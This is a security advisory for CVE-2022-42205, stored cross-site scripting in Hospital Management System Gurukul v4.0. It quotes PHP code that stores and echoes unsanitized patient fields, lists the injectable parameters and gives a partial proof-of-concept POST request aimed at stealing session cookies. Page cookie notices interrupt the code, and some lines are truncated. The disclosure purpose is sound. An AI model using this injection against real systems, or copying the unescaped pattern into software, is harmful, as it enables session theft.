Stored Cross Site Scripting Vulnerabilities in Hospital Management System Gurukul v4.0 #2

Cookie Notice

We use Cookies on this site to enhance your experience and improve our marketing efforts. Click on “About Cookies” to learn more. By continuing to browse without changing your browser settings to block or delete Cookies, you agree to the storing of Cookies and related technologies on your device. University of Illinois System Cookie Policy

About Cookies

Close this Notice

Multiple **stored cross site scripting vulnerabilities** are present in Hospital Management System Gurukul v4.0 [https://phpgurukul.com/hospital-management-system-in-php/]

In the **add-patient.php** file, several **POST parameters** are directly used into the INSERT SQL query without any kind of escaping or sanitization.

```
      /* ... */

if(isset($_POST['submit']))
{
    $docid=$_SESSION['id'];
    $patname=$_POST['patname'];
    $patcontact=$_POST['patcontact'];
    $patemail=$_POST['patemail'];
    $gender=$_POST['gender'];
    $pataddress=$_POST['pataddress'];
    $patage=$_POST['patage'];
    $medhis=$_POST['medhis'];
    $sql=mysqli_query($con,"insert into tblpatient(Docid,PatientName,PatientContno,PatientEmail,PatientGender,Pati
values('$docid','$patname','$patcontact','$patemail','$gender','$pataddress','$patage','$medhis')");

      /* ... */
```

In the **admin/manage-patients.php**, **doctor/manage-patient.php**, **doctor/view-patient.php**, **admin/view-patient.php** and **view-medhistory.php** files, the data that was inserted by the above-mentioned query is retrieved from the database and added to the current page.

```
      /* Example from doctor/view-patient.php*/

$vid=$_GET['viewid'];
$ret=mysqli_query($con,"select * from tblpatient where ID='$vid'");
$cnt=1;
while ($row=mysqli_fetch_array($ret)) {

    /* ... */
    echo $row['PatientName'];
    /* ... */
    echo $row['PatientEmail'];
    /* ... */
    echo $row['PatientContno'];
    /* ... */
    echo $row['PatientContno'];
    /* ... */
    echo $row['PatientAdd'];
    /* ... */
    echo $row['PatientGender'];
    /* ... */
    echo $row['PatientMedhis'];
    /* ... */
    echo $row['CreationDate'];
    /* ... */
```

The vulnerable parameters through which the attack can be carried out are **patname**, **patemail**, **gender**, **pataddress** and **medhis** POST parameters.
The following is one of the possible exploitation using the **medhis POST parameter**.

```
POST /hospitalmanagementsystemproject4/hospital/hms/doctor/add-patient.php HTTP/1.1
Host: localhost
Content-Length: 180
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="105", "Not)A;Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
```

Cookie Notice

About Cookies

We use Cookies on this site to enhance your experience and improve our marketing efforts. Click on "About Cookies" to learn more. By continuing to browse without changing your browser settings to block or delete Cookies, you agree to the storing of Cookies and related technologies on your device. University of Illinois System Cookie Policy

Close this Notice

```
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=lrqh66ialqjgfot5rcq90bnvjj
Connection: close

patname=Name4&patcontact=3124432845&patemail=Name3%40mail.com&gender=male&pataddress=3021+Halsted+St%2C+Chicago&pa
```

An attacker can easily inject malicious Javascript into the database and steal session cookies from users and administrators.

These vulnerabilities were found by Riccardo Nannini using the NAVEX project developed at SISL lab in UIC and have been assigned CVE-2022-42205.

Cookie Notice

About Cookies

We use Cookies on this site to enhance your experience and improve our marketing efforts. Click on “About Cookies” to learn more. By continuing to browse without changing your browser settings to block or delete Cookies, you agree to the storing of Cookies and related technologies on your device. University of Illinois System Cookie Policy

Close this Notice